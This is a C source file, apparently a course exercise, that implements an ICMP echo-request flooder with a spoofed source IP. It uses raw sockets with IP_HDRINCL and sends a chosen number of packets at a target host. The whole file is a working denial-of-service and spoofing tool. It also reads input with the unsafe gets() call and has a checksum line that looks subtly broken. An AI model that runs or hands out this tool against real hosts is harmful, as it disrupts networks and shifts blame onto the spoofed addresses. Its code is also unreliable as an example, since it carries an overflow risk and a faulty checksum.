```
//CSM19031
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <malloc.h>
#include <signal.h>
#include <unistd.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <sys/types.h>
#include <netdb.h>
#include <ctype.h>

void handler(int sig);
void spoof(int socket, struct sockaddr_in sin, char *src_ip, char
*dst_ip, int pkt_size);
unsigned short in_chksum(u_short *addr, int len);

void spoof(int socket, struct sockaddr_in sin, char *src_ip, char
*dst_ip, int pkt_size)
{
        struct iphdr *ip;
        struct icmphdr *icmp;
        char *packet;
        if ((packet = malloc(sizeof(struct iphdr) + sizeof(struct
icmphdr) + pkt_size)) == NULL)
        {
                perror("malloc packet");
                exit(1);
        }
        ip = (struct iphdr *)packet;
        icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
        memset(packet, 0, sizeof(struct iphdr) + sizeof(struct
icmphdr) + pkt_size);
        ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct
icmphdr) + pkt_size);
        ip->ihl = 5;
        ip->version = 4;
        ip->ttl = 255;
        ip->tos = 0;
        ip->frag_off = 0;
        ip->protocol = IPPROTO_ICMP;
        ip->saddr = inet_addr(src_ip);
        ip->daddr = inet_addr(dst_ip);
        ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
        icmp->type = 8;
        icmp->code = 0;
        icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct
icmphdr) + pkt_size);
        sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct
icmphdr) + pkt_size, 0, (struct sockaddr *)&sin, sizeof(struct
sockaddr));
```

```
        free(packet);
}
unsigned short in_chksum(u_short *addr, int len)
{
        register int nleft = len;
        register int total = 0;
        u_short answer = 0;
        while (nleft > 1)
        {
                total += *addr++;
                nleft -= 2;
        }
        if (nleft == 1)
        {
                *(u_char *)(&answer) = *(u_char *)addr;
                total += answer;
        }
        total = (total >> 16) + (total + 0xffff);
        total += (total >> 16);
        answer = ~total;
        return answer;
}
void handler(int sig)
{
        printf("\nExiting\n");
        exit(1);
}
int main(int argc, char *argv[])
{
        int num_pkts, delay, i, pkt_size, sock, on = 1;
        char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN], *src,
*dst;
        struct sockaddr_in sin;
        struct hostent *h;
        signal(SIGINT, handler);
        memset(&sin, 0, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_port = 0;
        if (argc != 5)
        {
                printf("\nargument should contain(destination IP,
number of packets, delay between packets, size of packets)\n");
                exit(1);
        }
        printf("\nEnter the source IP (spoof IP)");
        gets(src_ip);
        strcpy(dst_ip, argv[1]);
        num_pkts = atoi(argv[2]);
        delay = atoi(argv[3]);
        pkt_size = atoi(argv[4]);
        if (pkt_size > 1024)
        {
                printf("\nError, packet size greater than 1024");
                exit(1);
        }
        printf("\nSource IP(spoof): %s\tDestination IP: %s", src_ip,
dst_ip);
```

```
        printf("\nNumber of Packets: %d\tDelay(ms):%d\tPacket Size:
%d", num_pkts, delay, pkt_size);

        if ((h = gethostbyname(dst_ip)) == NULL)
        {
                perror("resolving source host");
                exit(1);
        }
        memcpy((caddr_t)&sin.sin_addr, h->h_addr, h->h_length);
        sin.sin_family = AF_INET;
        sin.sin_port = htons(0);

        if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
                perror("socket");
                exit(1);
        }
        if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))
< 0)
        {
                perror("[-] Error! Cannot set IP_HDRINCL");
                exit(1);
        }
        sin.sin_addr.s_addr = inet_addr(dst_ip);
        printf("\nFlooding %d :\nICMP Echo Request packets (size %d)
from %s to %s with %d delay", num_pkts, pkt_size, src_ip, dst_ip,
delay);
        fflush(stdout);
        for (i = 0; i < num_pkts; i++)
        {
                spoof(sock, sin, src_ip, dst_ip, pkt_size);
                usleep(delay * 1000);
        }

        printf("\nExit\n");
        return 0;
}
```